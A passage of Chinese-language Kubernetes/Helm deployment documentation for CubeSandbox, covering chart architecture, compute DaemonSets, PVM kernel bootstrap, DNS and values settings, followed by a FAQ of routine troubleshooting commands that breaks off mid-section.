只负责部署 MinIO 本身；`rootPassword` 留空则自动生成）。若未设置 `volumeS3.endpoint` / `existingSecret`，Chart 从内置 MinIO 自动生成 S3 配置并写出 `volume-s3.conf` | | 外部 S3 | `minio.enabled=false` 且设置 `volumeS3.endpoint` / `volumeS3.existingSecret` → 不部署内置 MinIO；`volume-s3.conf` 从 `volumeS3.*` 生成 | | 本地盘 blobstore | `artifactStore.backend=fs` / `cubeOps.store.backend=fs` 用于模板产物与组件仓库（默认 `s3`）；S3 Volume 不受影响 | ### 2.3 计算面：四个 DaemonSet `cube-node` / `cube-node-installer` / `cube-node-bootstrap` 用 `placement.compute`（**不含** `allow-pvm-bootstrap`）。`cube-node-pvm` 用 `placement.pvm`（含 `allow-pvm-bootstrap`），因此非 PVM 节点不会拉取 `cube-pvm-host-bootstrap` 大镜像。 四条计算面（Big Pod / installer / bootstrap / PVM）均为原生 `apps/v1` DaemonSet。无状态控制面（master/api/ops/webui/proxy/lifecycle/cubemastercli）为原生 Deployment；MySQL/Redis/MinIO 继续使用原生 StatefulSet。 #### Big Pod：`cube-node` * `hostNetwork: true`（默认宿主机网络；`cubeNode.hostNetwork: false` 可改用 Pod 网络）；原生 `apps/v1` DaemonSet。 * **initContainer**：`wait-node-prep`（指纹匹配后 **exit 0**，不作为常驻 sidecar）。 * 镜像 / 资源 / Pod template 变更会 **recreate** Big Pod。沙箱 tap 设备与 cubevs 钩子位于 Pod netns 中：宿主机网络下重建后保留，Pod 网络下会中断。详见 [升级](./upgrade.md)。 * **NodeID** = `spec.nodeName`；**Endpoint** = `status.podIP`（宿主机网络下即节点 IP）。 * toolbox **整树** hostPath：`/usr/local/services/cubetoolbox`。 | 容器 | 镜像 | 职责 | | --- | --- | --- | | `wait-node-prep`（init） | `images.waitNodePrep` | 只读 hostPath `node-prep-ready` 自描述指纹；匹配后退出，主容器才启动 | | `cubelet` | `images.cubelet` | self-stage 后启动；包含内嵌 network runtime 和 CubeVS 工具 | | `cube-egress` / `cube-egress-net` | 对应镜像 | 可选；透明出站 / TPROXY | | `cube-s3lvol` | `images.cubeS3lvol` | 可选；SPDK NVMe/TCP target，用于 S3 CoW / 跨机快照 | **容器名 / volumeMount / securityContext / imagePullPolicy 变更同样 recreate**。 #### Installer：`cube-node-installer` * 容器：`cube-shim-install` / `cube-kernel-install` / `cube-guest-install`。 * 把镜像里的 shim / kernel / guest **整目录换到** 宿主机 toolbox；换目录期间版本矩阵会短暂标「未完成」，成功后恢复正常。 * 可独立 RollingUpdate；日常升产物 **只 bump Installer 镜像**。 #### Bootstrap：`cube-node-bootstrap` * init：`wait-pvm-host` → `cube-node-init`；主容器写 `node-prep-ready`。 * `wait-pvm-host`：看节点有没有 `allow-pvm-bootstrap`——有则等 PVM 宿主机就绪并记「本节点用 PVM guest」；没有则记「本节点用 bm guest」。 * 哨兵目录：`/var/lib/cube-node-bootstrap`（与 Big Pod 的 `wait-node-prep` / PVM DS 共享）。 * `hostPID: true`（`nsenter --target 1`）；低频变更；升 node-init **只 bump Bootstrap / nodeInit 镜像**。 #### PVM：`cube-node-pvm` * 原生 `apps/v1` DaemonSet；仅当 `bootstrap.pvmHostKernel.enabled=true` 时创建；仅调度到 `placement.pvm`。 * `startupGate` 默认开启：目标节点指纹未就绪时，Helm pre-install/pre-upgrade Hook 写入 `cube.tencent.com/pvm-not-ready=true:NoSchedule`，再逐节点探针 CNI；指纹已匹配则不写该污点。 * 安装/升级前另有 cubevs CIDR Hook（weight `-110`）：`cubeNode.network.cidr`（默认 `172.16.0.0/18`）与集群 Service CIDR / ClusterIP 重叠则 fail-fast。 * init：`pvm-host-bootstrap`；mutate 严格按 ensure taint → 删除本 namespace/本 release/本节点依赖 Pod → invalidate → Lease → mutate/reboot。 * 成功路径按 write ready → verify live fingerprint → clear taint；主容器每 30 秒 reconcile 分裂态。 * 只有 PVM DaemonSet 容忍临时门闩。CNI、kube-proxy 须以 `Exists` 或显式 key 容忍门闩。PVM 保持 Pod 网络。 * 升 PVM 镜像 **只 bump `images.pvmHostBootstrap`**，不 recreate Big Pod。 为何拆成四个：产物安装与可 reboot 的 PVM 引导分离；非 PVM compute 节点不拉 PVM 大镜像；只升 Installer / Bootstrap / PVM 时可不碰 Big Pod template。 ### 2.3.1 节点上你会看到的标记 | 标记 | 含义 | | --- | --- | | `pvm-host-ready` | 宿主机 PVM 内核已按预期装好；内容带指纹，换核后必须对上当前 `uname` 才算就绪 | | `effective-pvm` | 本节点 guest 该用 PVM（`1`）还是 bm（`0`）；有 `allow-pvm-bootstrap` 且 host 就绪 → `1`，否则 → `0` | | `node-prep-ready` | bootstrap 预检通过，Big Pod 可以启动 | | `/run/wait-node-prep.ready` | 本轮 Pod 内临时标记，重启即没 | | toolbox 下「组件已就绪」标记 | 该组件 stage 成功，产物可被版本矩阵采集 | | toolbox 下「组件正在替换」标记 | 正在换目录；矩阵会标未完成；成功后清除，失败会留下直到下次成功 | Guest 选核：先看 `effective-pvm`；没有则尽量保持节点上一次已在用的内核；再没有才用 Chart 首次安装默认（`cubeNode.pvmGuestKernel.enabled`）。 ### 2.4 数据面入口 | 资源 | Chart 模板 | 职责 | | --- | --- | --- | | `cube-proxy` | `templates/proxy.yaml` | sandbox HTTP/HTTPS；`placement.controlPlane`；Pod 网络 | | `cube-lifecycle-manager` | `templates/lifecycle-manager.yaml` | pause/resume；Proxy 经 Redis 发现副本 | | `cube-proxy-certs` | `proxy.yaml` | TLS：selfSigned / inline / existingSecret / certManager | | Service / Ingress | `proxy-service.yaml` / `proxy-ingress.yaml` | ClusterIP；Ingress SSL passthrough，TLS 在 Proxy 终结 | | cluster DNS | `templates/cluster-dns.yaml` | 启用时把 `*.cubeProxy.domain` rewrite 到 Proxy Service | CubeProxy 经 Redis 中的 owner 元数据转发到目标 compute 节点 sandbox。 ### 2.5 cube-lifecycle-manager 高可用 chart 默认 `lifecycleManager.replicas=2` 且 `leaderElection.enabled=true`，以主备方式运行：每个副本都消费生命周期事件、处理恢复回调，由 Redis 租约选出的 leader 执行空闲扫描/销毁和过期注册清理；共享的沙箱状态只有 leader 会写。`replicas` 大于 1 却关闭选主会在 Helm 校验阶段失败。Terraform 一键部署默认同样是双副本主备。 leader 故障切换后，新 leader 按保守策略恢复共享状态：状态记录不一致的沙箱按安全的一侧记为 `paused`，下次请求照常 auto-resume。用户可见的影响见 [FAQ](faq.md)。 ## 3. DNS Chart **不**部署自有 CoreDNS。Proxy 启用且 `configureClusterDNS=true`（默认）时： * Helm hook 将 `domain` / `*.domain` rewrite 到 `<release>-proxy.<ns>.svc.cluster.local`。 * `cubeNode.dns.sandbox.followNodeDns=true`：guest 跟随节点/集群 DNS。 ```mermaid sequenceDiagram participant Guest as sandbox guest participant CN as cube-node Pod participant KDNS as cluster CoreDNS participant PX as cube-proxy Pod CN->>KDNS: ClusterFirst Guest->>KDNS: followNodeDns KDNS-->>Guest: *.cube.app → CubeProxy Service Guest->>PX: HTTP/HTTPS ``` * 域名：`cubeProxy.domain`（默认 `cube.app`）。 * 平台禁止改 `kube-system/coredns` 时设 `cubeProxy.configureClusterDNS=false`。 * 外部客户端仍需自配公网/Private DNS 或 LB。 ## 4. 安装与启动 ### 4.1 Helm 渲染 ```mermaid flowchart TD A["helm upgrade/install"] --> B["templates/validate.yaml"] B --> C{"values 合法?"} C -- 否 --> X["fail render"] C -- 是 --> D["Secret / ConfigMap / 持久化"] D --> E["MySQL / Redis / MinIO 或外部"] E --> F["控制面 Deployment"] F --> G["Proxy / cluster-dns"] G --> H["cube-node + installer + bootstrap + pvm"] ``` 主要校验： * 启用控制面 / 计算面 / Proxy 时须配置对应 `placement.*.nodeSelector`。 * `configureClusterDNS=true` 须配置 `cubeProxy.domain`。 * compute-only 须配置 `externalControlPlane.masterEndpoint`。 * `pvmHostKernel.enabled=true` 时 `placement.pvm` 须含 `allow-pvm-bootstrap`，且 **不得** 写在 `placement.compute`。 * 已移除 `security.hostNetwork`；cube-node 的网络模式由 `cubeNode.hostNetwork` 控制（默认 true = 宿主机网络）。 调度：控制面用 `placement.controlPlane`；`cube-node` / installer / bootstrap 用 `placement.compute`；`cube-node-pvm` 用 `placement.pvm`。Chart 管理的容器经 `global.timezone` 注入 `TZ`（默认 `Asia/Shanghai`）。 ### 4.2 控制面启动 ```mermaid sequenceDiagram participant H as Helm participant DB as MySQL participant R as Redis participant CM as CubeMaster participant API as CubeAPI participant OPS as CubeOps participant WEB as WebUI participant CLI as cubemastercli H->>DB: create/use MySQL H->>R: create/use Redis H->>CM: conf.yaml + storage + CA CM->>DB: embedded migration CM-->>H: /notify/health H->>API: CUBE_MASTER_ENDPOINT + MySQL API-->>H: /health H->>OPS: CUBE_MASTER_ADDR + MySQL OPS-->>H: /health H->>WEB: nginx → CubeOps H->>CLI: CUBEMASTERCLI_ADDRESS / PORT ``` 无独立 `cube-db-migrate` Job；`cubemastercli` 不混入 master/node 镜像。 ### 4.3 计算节点启动 ```mermaid sequenceDiagram participant PVM as cube-node-pvm participant Boot as cube-node-bootstrap participant Inst as cube-node-installer participant Wait as wait-node-prep participant CN as cube-node participant CM as CubeMaster alt allow-pvm-bootstrap node PVM->>PVM: pvm-host-bootstrap may reboot Note over PVM: mutate 前删各类 ready PVM->>PVM: write pvm-host-ready fingerprint end Boot->>Boot: wait-pvm-host label + fingerprint gate opt nodeInit.enabled Boot->>Boot: cube-node-init end Boot->>Boot: write node-prep-ready Inst->>Inst: stage shim/kernel/guest Wait->>Wait: poll fingerprint → exit 0 Wait-->>CN: init 完成；主容器启动 CN->>CN: self-stage；按节点 PVM 决定选 guest 内核 CN->>CM: register + heartbeat ``` 探针约定： * cubelet：startup 等 9999；readiness 默认 exec（9999 + Cubelet 本地 socket）；liveness 查 9999。 * network-agent 合入 Cubelet 后，节点就绪 / `NotReady` 不再探测独立网络进程。运行期网络退化（例如 TAP 池耗尽、CubeEgress 持续推送失败）会体现在 create/release 失败与本地诊断上，而不会把节点打成 NotReady。请改看创建失败率、TAP 池状态（`cubecli container taps` / loopback `GET /v1/network/taps`）以及 CubeEgress 健康，而不是只依赖节点 Ready。 * `cube-egress`：`127.0.0.1:9091/admin/v1/health`（默认；`cubeEgress.adminPort`）。 * `cube-egress-net`：`cube-dev`、ip rule、table 100、mangle `TRANSPROXY`。 * `cube-s3lvol`（启用时）：startup / readiness 探测 Unix socket `/var/run/s3lvol/s3lvol.sock` 与一次轻量 `s3lvol_rpc.py` RPC。没有 liveness：target 退出时 entrypoint 以非 0 退出，由 kubelet 重启容器。 ### 4.4 注册与验收关注点 * CubeMaster `/notify/health`、CubeOps `/health`、CubeAPI `/health`（若启用）。 * CubeAPI（或经 CubeOps SDK）能查到 healthy node。 * `cube-node` / installer / bootstrap ready 数等于命中 `placement.compute` 的节点数；`cube-node-pvm` ready 数等于命中 `placement.pvm` 的节点数。 * egress 启用时 sidecar Ready。 ## 5. 运行期数据流 ### 5.1 WebUI / CubeOps / CubeAPI / Master ```mermaid flowchart LR U["Browser / Operator"] --> WEB["cube-webui"] WEB -->|"/opsapi/ /cubeapi/v1/"| OPS["cube-ops"] Ext["External E2B SDK"] --> API["cube-api"] OPS --> CM["cube-master"] OPS --> MYSQL[("MySQL")] API --> CM API --> MYSQL CM --> MYSQL CM --> REDIS[("Redis")] ``` ### 5.2 Sandbox 入口 ```mermaid flowchart LR CLIENT["Client"] --> DNS["DNS · cube.app"] DNS --> PROXY["cube-proxy"] PROXY --> REDIS[("Redis")] PROXY --> CM["CubeMaster"] PROXY --> NODE["Cube Node / Sandbox"] ``` 无 Ingress Controller 时可关 `cubeProxy.ingress.enabled`，自行把外部流量接到 Service。生产应提供正式证书，并把 sandbox 域名指向 Ingress。 ### 5.3 出站 egress ```mermaid flowchart LR SB["Sandbox"] --> DEV["cube-dev"] DEV --> EGNET["cube-egress-net"] EGNET --> EG["cube-egress"] EG --> EXT["External"] EG --> CA["cube-egress-ca"] ``` Master / API / Node 共享 `cube-egress-ca`，保证模板构建与运行期信任一致。 ### 5.4 模板构建 CubeMaster 在进程内通过 go-containerregistry 拉取镜像并导出 rootfs，无需 Docker-in-Docker sidecar；产物写入 Master storage。 ## 6. compute-only / 外部控制面 ```mermaid flowchart TB subgraph EXT["External Control Plane"] ECM["External CubeMaster"] EDB[("MySQL / Redis")] end subgraph NS["Compute Namespace"] NODE["cube-node + installer + bootstrap"] end NODE --> ECM ECM --> EDB ``` ```yaml controlPlane: enabled: false externalControlPlane: enabled: true masterEndpoint: <external-master>:8089 apiEndpoint: http://<external-api>:3000 # optional, for helm test ``` 不安装内置 Master / API / MySQL / Redis / MinIO / WebUI；默认不装 Proxy（避免与外部数据面不一致）。配置了 `apiEndpoint` 时 helm test 会校验外部 API 与节点注册。 ## 7. 关键 values 开关 | values 路径 | 默认 | 影响 | | --- | --- | --- | | `global.timezone` | `Asia/Shanghai` | 注入 Chart 管理容器的 `TZ` | | `storageClass.create` / `name` / `provisioner` | `create=false` | 是否由 chart 创建 StorageClass；默认不创建（PVC 走集群 default SC；TKE 用 `values-tke.yaml`） | | `persistence.storageClassName` | `""` | 四 PVC 共用此 SC；`""` → 集群 default | | `*.persistence.storageClassName` (master/mysql/redis/minio) | `""` | 组件级覆盖；非空优先于顶层 | | `controlPlane.enabled` | `true` | 内置控制面 | | `externalControlPlane.enabled` | `false` | 外部 CubeMaster | | `placement.controlPlane.nodeSelector` | `cube-control=true` | 控制面调度 | | `placement.compute.nodeSelector` | `cube-node=true` | 计算面（不含 allow-pvm） | | `placement.pvm.nodeSelector` | 另含 `allow-pvm-bootstrap=true` | 仅 PVM 宿主机 DaemonSet | | `cubeProxy.domain` | `cube.app` | sandbox 域名 | | `cubeProxy.configureClusterDNS` | `true` | 是否写入集群 CoreDNS | | `cubeNode.dns.sandbox.followNodeDns` | `true` | guest 跟随节点 DNS | | `cubeNode.pvmGuestKernel.enabled` | `true` | 首次安装默认是否倾向 PVM guest | | `cubeNode.hostNetwork` | `true` | 宿主机网络；Pod 网络下 Pod 重建会中断该节点所有沙箱网络 | | `cubeNode.hostNetworkChangeAck` | `false` | 网络模式 preflight Hook 的一次性确认键 | | `bootstrap.pvmHostKernel.enabled` | `true` | host kernel bootstrap（可能重启节点） | | `bootstrap.pvmHostKernel.startupGate.enabled` | `true` | PVM 未就绪时使用 Node NoSchedule 污点硬门闩 | | `bootstrap.pvmHostKernel.bootArgs` | `nopti pti=off` | 当前 `kvm_pvm` 不支持 host KPTI | | `bootstrap.nodeInit.*` | 多项 | 预检、XFS、KVM、CIDR | | `mysql.host` / `redis.host` | `""` | 非空则用第三方 | | `volumeS3.endpoint` / `existingSecret` | `""` | S3 配置来源：都为空且 `minio.enabled=true` 时由内置 MinIO 自动填充；显式设置任一值需 `minio.enabled=false`（二选一，互斥） | | `cubeProxy.enabled` / `ingress.enabled` | `true` | Proxy / Ingress | | `lifecycleManager.enabled` | `true` | Proxy 启用时必开 | | `cubeEgress.enabled` | `true` | Big Pod egress sidecar | | `cubeS3lvol.enabled` | `false` | Big Pod s3lvol sidecar（会重建 Pod；约 2 核 / 19 GiB / 512 GiB 稀疏 WAL，含默认 1 GiB RAM cache） | | `cubeOps.enabled` | `true` | CubeOps（JWT 运维 API；WebUI 上游） | | `webui.enabled` | `true` | WebUI（要求 `cubeOps.enabled=true`） | ## 8. Helm test | Test Pod | 覆盖 | | --- | --- | | `<release>-health-test` | Master / Ops / API / 节点注册 / WebUI / Proxy / 工作负载 Ready / Egress 存在性 / 启用时的 s3lvol 存在性 | | `<release>-mysql-test` / `redis-test` | 内置依赖连通性 | | `<release>-dns-test` | `cube.app` / wildcard → Proxy Service | | `<release>-node-image-test` | 镜像内 runtime 工具与 asset | | `<release>-node-runtime-test` | `/dev/kvm`、cubelet socket、内嵌 network runtime | ```bash helm test <release> -n <namespace> --timeout 20m --logs ``` ## 9. 所有权与卸载边界 Chart 管理并随 release 卸载：控制面与计算面工作负载、内置 MySQL/Redis/MinIO、Proxy、CA/TLS/config Secret、Helm test RBAC、diagnostics ConfigMap 等。 Chart **不**管理：节点 label/taint、第三方 DB、外部 DNS/LB、hostPath 数据、host kernel / GRUB / udev / fstab / XFS 等节点级持久修改。卸载后按平台 runbook 清理宿主机残留。 *** ## 下一步 * [Helm 安装](./install.md) * [升级](./upgrade.md) * [常见问题](./faq.md) * [产品架构概览](../../architecture/overview.md) --- --- url: https://cubesandbox.com/zh/guide/kubernetes/faq.md --- # 常见问题 按主题整理 Helm Chart 部署与运行中的高频问题。先对照本节；仍无法解决时再看 [Helm 安装](./install.md)、[架构说明](./architecture.md)、[升级](./upgrade.md)。提 Issue 时请附上文末[提问模板](#提问模板)。 ::: tip 命令里的资源名 下文示例默认 Release 名为 `cube`、命名空间为 `cube-system`（资源名形如 `cube-master`、`cube-secret`）。若 Release 名不同，请换成 `<release>-…`，或改用 `app.kubernetes.io/component=…` 标签选择器（不依赖 Release 名）。 ::: ## 目录 * [安装与校验](#安装与校验) * [节点与调度](#节点与调度) * [控制面 / 数据库](#控制面--数据库) * [计算面 / PVM / 沙箱](#计算面--pvm--沙箱) * [CubeProxy / TLS / DNS](#cubeproxy--tls--dns) * [Egress 网络](#egress-网络) * [升级、回滚与卸载](#升级回滚与卸载) * [镜像构建](#镜像构建) *** ## 安装与校验 ### `helm install` 报错要配置 `placement.*.nodeSelector` Chart 用 `templates/validate.yaml` 禁止「通配」部署，避免误伤节点。补上明确的 nodeSelector，例如： ```yaml placement: controlPlane: nodeSelector: cube.tencent.com/cube-control: "true" ``` 同类校验： | 报错关键字 | 含义 | | --- | --- | | `cube-node requires placement.compute.nodeSelector` | 计算节点必须显式指定 | | `…placement.pvm… allow-pvm-bootstrap` | PVM DaemonSet 的 selector 必须含该 label；不要写进 `placement.compute` | | `placement.compute… must not include …allow-pvm-bootstrap` | 写进 compute 会让所有计算节点拉 PVM 大镜像 | | `cubeProxy.enabled=true requires placement.controlPlane.nodeSelector` | Proxy 跑在控制面节点上 | | `configureClusterDNS=true requires cubeProxy.domain` | 注入集群 DNS 时必须有 sandbox 域名 | 节点怎么打标签见 [Helm 安装 · 打标签](./install.md#3-给节点打标签及角色污点)。 ### 计算面 DaemonSet Ready 数不够 先看四条原生 DaemonSet： ```bash kubectl -n cube-system get daemonset \ -l 'app.kubernetes.io/component in (cube-node,cube-node-installer,cube-node-bootstrap,cube-node-pvm)' ``` | 现象 | 处理 | | --- | --- | | `DESIRED=0` | 没有节点匹配 `placement.compute` → 补 `cube-node=true` label | | `CURRENT < DESIRED` | 污点挡住了 → 检查 `compute` 污点与 toleration | | `READY < CURRENT` | Pod 起来了但未 Ready → Big Pod 先看 `wait-node-prep` 与 bootstrap，见[计算面](#计算面--pvm--沙箱) | ### `helm test` 里 CubeAPI `/health` 失败 多数是 CubeAPI 未 Ready，或 MySQL / migration 未完成： ```bash kubectl -n cube-system logs -l app.kubernetes.io/component=api --tail=200 kubectl -n cube-system logs -l app.kubernetes.io/component=master -c cube-master --tail=200 ``` * CubeMaster 内嵌 schema migration，首次可能要几分钟；安装时用 `--timeout 90m` * 日志若是 MySQL connection refused → 见[控制面 / 数据库](#控制面--数据库) ### `helm test` 卡住、既不超时也没结果 Helm **3.13+** 才让 `--timeout` 对 test hook 生效。加上 `--logs`： ```bash helm test cube -n cube-system --logs --timeout 20m ``` 单独看失败的测试 Pod： ```bash kubectl -n cube-system get pods -l app.kubernetes.io/component=test kubectl -n cube-system logs <test-pod-name> ``` *** ## 节点与调度 ### 能不能少打几枚 label？ 不建议。Chart 用显式 label 授权，是因为： * `pvm-host-bootstrap` 会换 host kernel 并可能 reboot * 计算面有 privileged / hostPath，误调度代价大 生产可用 GitOps / Terraform 统一管 label。 ### 控制面节点能否兼做计算节点？ 技术上可以（单节点试用）；生产不建议——资源争抢、升级策略也不同。 混部时： 1. 同一节点打两枚独立 label：`cube-control=true` 与 `cube-node=true`（不要用同一个 key 覆盖写） 2. 叠加 `values-single-node.yaml`，让控制面 / 计算面都容忍两把角色污点 3. 需要 PVM 时再加 `allow-pvm-bootstrap=true` 扩容纯计算节点时只打 `cube-node` + `compute` 污点，**不要**打 `cube-control`。步骤见 [Helm 安装 · 单节点](./install.md#42-单节点试用一台机器既做控制面又做计算面)。 ### PVC / PV 一直 Pending ```bash kubectl get sc kubectl get pvc -n cube-system kubectl describe pvc -n cube-system <pvc-name> kubectl -n cube-system describe pod <pod-name> ``` **通用集群（默认不建 SC）：** * 没有 default StorageClass → 设 `persistence.storageClassName`，或改用 hostPath（见[安装 · 准备配置](./install.md#5-准备配置文件)） * 指定的 SC / CSI 不存在 → 先装 provisioner * SC 是 `WaitForFirstConsumer`，但 Pod 因 selector / taint 调度不上 → 先让 Pod 可调度 **TKE + `values-tke.yaml`：** CBS 盘在 Pod 落点后再创建；常见是节点资源不足，或 nodeSelector 与 CBS 可用区不一致。 ### 临时摘掉一台 compute 做维护 先 销毁节点上的沙箱，再： ```bash kubectl drain <node> --ignore-daemonsets --delete-emptydir-data=false # 维护完成后 kubectl uncordon <node> ``` `cube-node` 会在节点重新可调度后自动起来并重新注册。 *** ## 控制面 / 数据库 ### CLM 故障切换后沙箱为什么会多一次 pause/resume 这是预期行为，且只发生一次，不是循环。新 leader 接管时（副本故障，或滚动升级中的 leader 切换）会重新核对每个沙箱的状态，记录不一致时按安全的一侧记为 `paused`。这只是记录层面的修正，不会向 VM 发 pause，下次请求会照常 auto-resume。代价是最多一次额外的 auto-resume；反过来，把实际已停止的沙箱记成 `running`，会让流量打到已停机的 VM。 ### cube-master 报连不上 MySQL 按顺序查（以下命令假定 Release 名为 `cube`，命名空间 `cube-system`；其它 Release 名请把资源名前缀换成 `<release>`）： 1. 内置 MySQL 是否 Running：`kubectl -n cube-system get pods -l app.kubernetes.io/component=mysql` 2. Secret 密码是否被误改：`kubectl -n cube-system get secret cube-secret` 3. 容器内连通性： ```bash kubectl -n cube-system exec cube-mysql-0 -- mysql -uroot \ -p"$(kubectl -n cube-system get secret cube-secret -o jsonpath='{.data.mysql-root-password}' | base64 -d)" \ -e 'show databases' ``` 外部 MySQL（在 **CubeAPI** Pod 上探测；环境变量是 `CUBE_SANDBOX_MYSQL_*`，不是 `CUBE_MYSQL_HOST`）： ```bash kubectl -n cube-system exec -l app.kubernetes.io/component=api -- \ sh -c 'nc -zv "$CUBE_SANDBOX_MYSQL_HOST" "$CUBE_SANDBOX_MYSQL_PORT"' ``` CubeMaster 侧 MySQL 地址写在挂载的 `conf.yaml`（由 Chart 渲染），不通过上述 env 注入。 ### 升级后表结构没迁完 / migration 卡住 CubeMaster 启动时跑内嵌 goose migration。查日志： ```bash kubectl -n cube-system logs -l app.kubernetes.io/component=master -c cube-master | grep -i migrat ``` 也可连库看 `goose_db_version`。若上次异常退出导致 lock 卡住，需按库内状态手工处理（谨慎操作）。 ### 外部 MySQL 8 `caching_sha2_password` 认证失败 Chart 已不再强制 `mysql_native_password`。CubeMaster / CubeAPI 驱动支持 `caching_sha2_password`。若用户仍是旧插件： ```sql ALTER USER 'cube_user'@'%' IDENTIFIED WITH caching_sha2_password BY '<new-password>'; FLUSH PRIVILEGES; ``` ### 怎么用 cubemastercli？ ```bash # 进入交互 shell（镜像内 bashrc 会自动补 --address / --port） kubectl -n cube-system exec -it -l app.kubernetes.io/component=cubemastercli -- bash cubeopscli node list cubemastercli sandbox list ``` 也可一行执行（与 Chart `NOTES.txt` 一致）： ```bash kubectl -n cube-system exec deploy/cube-cubemastercli -- \ sh -lc 'cubeopscli --address "$CUBEOPSCLI_ADDRESS" --port "$CUBEOPSCLI_PORT" node list' ``` *** ## 计算面 / PVM / 沙箱 ### `pvm-host-bootstrap` 反复重启 / 节点 reboot 跑在 **`cube-node-pvm`**（仅 `allow-pvm-bootstrap` 节点）。多数「反复重启」其实是换核后的正常 reboot。先看日志： ```bash kubectl -n cube-system logs -l app.kubernetes.io/component=cube-node-pvm -c pvm-host-bootstrap --tail=100 kubectl -n cube-system logs -l app.kubernetes.io/component=cube-node-bootstrap -c wait-pvm-host --tail=50 kubectl -n cube-system logs -l app.kubernetes.io/component=cube-node -c wait-node-prep --tail=50 ``` 正常链路（摘要）：ensure `pvm-not-ready` → 腾空依赖 Pod → invalidate ready 标记 → 换核 / reboot → 写 `pvm-host-ready` 并清闩 → bootstrap 写 `node-prep-ready` → Big Pod `wait-node-prep` init 退出 → 主容器启动。完整说明见[架构说明 · PVM](./architecture.md#pvmcube-node-pvm)。 若卡在 wait-node-prep：先确认 bootstrap Ready，以及 `/var/lib/cube-node-bootstrap/node-prep-ready` 指纹。若换核后迟迟不重启，多半是节点无 reboot 权限或 GRUB 未更新——登录节点人工 `reboot`，并检查： ```bash uname -r # 应含 cubesandbox.pvm.host（与 Chart 默认 DESIRED_KERNEL_PATTERN 一致） cat /proc/cmdline | grep -o pti=off ``` ### `cube-node-init` 报 `/dev/kvm` 不可用 ```bash kubectl debug node/<node> -it --image=busybox -- sh ls -la /dev/kvm lsmod | grep kvm ``` 云主机需安装PVM；物理机需开 VT-x / AMD-V。 ### cube-node Ready 了，但看不到沙箱 / 节点没注册 ```bash kubectl -n cube-system exec -l app.kubernetes.io/component=cubemastercli -- \ sh -lc 'cubeopscli --address "$CUBEOPSCLI_ADDRESS" --port "$CUBEOPSCLI_PORT" node list' ``` * `healthy: true` → 可创建沙箱 * 不在列表 → 看注册日志： ```bash kubectl -n cube-system logs -l app.kubernetes.io/component=cube-node -c cubelet --tail=200 | grep -i register ``` 常见原因是连不上 CubeMaster（网络 / DNS）。 ### 某个节点上所有沙箱同时断网 大概率是该节点上的 `cube-node` Pod 被重建过（手工删除、DaemonSet template 变更、节点 drain 等），**且该 Pod 运行在 Pod 网络上**：沙箱的 TAP 设备位于该 netns 中，Pod 重建会销毁它，**节点上所有沙箱的网络随之全部中断（入站、出站均中断），且不会自愈**。默认宿主机网络下 netns 是宿主机的、重建不销毁，此时出现该症状应另查原因。可对比 Pod 的 AGE / UID 与故障时间确认： ```bash kubectl get pods -n cube-system -l app.kubernetes.io/component=cube-node -o wide ``` * **恢复**：销毁并重建受影响的沙箱。 * **预防**：让 `cube-node` 保持默认的宿主机网络（`cubeNode.hostNetwork: true`），Pod 重建不会引起 netns 变化；详见[安装 · cube-node 网络与 Pod 重建](./install.md#_8-3-cube-node-网络与-pod-重建)。若因 NetworkPolicy 需要管控沙箱流量而使用 Pod 网络，同一节也说明了这一取舍。 ### 如何在 Kubernetes 部署中运行 `cubecli`？ `cubecli` 访问的是单个计算节点本地的 Cubelet 和 containerd socket。因此，需要先找到目标计算节点对应的 `cube-node` Pod，再通过 `kubectl exec` 在该 `cube-node` Pod 中运行 `cubecli` 命令： ```bash # 查看各个 cube-node Pod 所在的节点，并根据 NODE 列找到目标节点对应的 Pod kubectl get pods -n cube-system \ -l app.kubernetes.io/component=cube-node -o wide # 在目标节点对应的 cube-node Pod 中运行 cubecli kubectl exec -n cube-system <cube-node-pod> -- cubecli ls ``` 默认情况下，`kubectl exec` 会进入该 `cube-node` Pod 的 `cubelet` container，这是 Kubernetes 部署中运行 `cubecli` 的支持入口。 对于 `cubecli container taps` 这类网络设备诊断命令，注意 TAP 设备所在的 netns：默认 `hostNetwork: true` 下 TAP 创建在宿主机 network namespace 中，宿主机 login shell 与 `cube-node` Pod 看到的是同一批设备。若使用 Pod 网络（`cubeNode.hostNetwork: false`），TAP 位于 `cube-node` Pod 的 network namespace 中，宿主机 login shell 无法提供同一视角，此时请在 Pod 内执行。 ### 沙箱启动很慢（>10s），节点却很空 * 排查节点CPU 负载是否较高。 * 查 `/data/cubelet` 是否打满盘或 IOPS：`iostat -x 1` * 是否有大量 Paused 沙箱占盘未清理 ### 单节点沙箱数量大概卡在哪？ 1. **内存**：每沙箱约数百 MB～数 GB 2. **磁盘**：CoW rootfs，看 `/data/cubelet` 容量（默认 loopback 仅 **25G**，见[安装 · 计算节点数据盘](./install.md#_8-2-计算节点数据盘配置)） 3. **KVM 数量**：单机通常最多数百级，受内核参数影响 `Pause` 可把非活跃沙箱的 CPU/RSS 压到接近 0（盘不释放）。运营上常：闲置 N 分钟 Pause，更久 Destroy。 ### `/data/cubelet` 空间不够 / 想改数据盘大小 默认 `bootstrap.nodeInit.dataCubelet.loopback.size` 为 `25G`，bootstrap 首次会创建 `/data/cubelet-xfs.img` 并挂到 `/data/cubelet`。 * **尚未装过 / 镜像文件还不存在**：在 values 里改 `size`（如 `200G`）后重装或重跑 bootstrap 即可。 * **镜像已经建好**：再改 values **不会**自动扩容。生产建议关掉 loopback，改用预挂载的大容量 XFS 盘；若必须重建 loopback，需维护窗口删旧 img（会清空该路径数据）。 配置示例见 [Helm 安装 · 计算节点数据盘](./install.md#_8-2-计算节点数据盘配置)。 ### 怎么关掉某台节点的 PVM？ **去掉该节点的 label**： ```bash kubectl label node <node> cube.tencent.com/allow-pvm-bootstrap- ``` 然后重启节点所在的服务器。 自检当前 guest： ```bash readlink /usr/local/services/cubetoolbox/cube-kernel-scf/vmlinux # 或 readlink /var/lib/cube-node-bootstrap/vmlinux-active ``` *** ## CubeProxy / TLS / DNS ### sandbox 域名解析不了 1. **集群内**（含 follow 节点 DNS 的 guest）：`nslookup test.cube.app` * 无应答 → 看 CoreDNS 是否含 `# BEGIN cube-sandbox-dns`（后跟 Release 名），或 Job 日志：`kubectl -n cube-system logs job/cube-cluster-dns-apply` * 应答应是 CubeProxy ClusterIP：`kubectl -n cube-system get svc cube-proxy -o wide` 2. **guest DNS**：默认 `cubeNode.dns.sandbox.followNodeDns=true`；可显式设 `cubeNode.dns.sandbox.nameservers` 3. **集群外**：把 `cube.app` / `*.cube.app` 指到 Ingress / LB ### Ingress / 外部入口不通 排查： * IngressClass / Ingress 是否存在 * passthrough 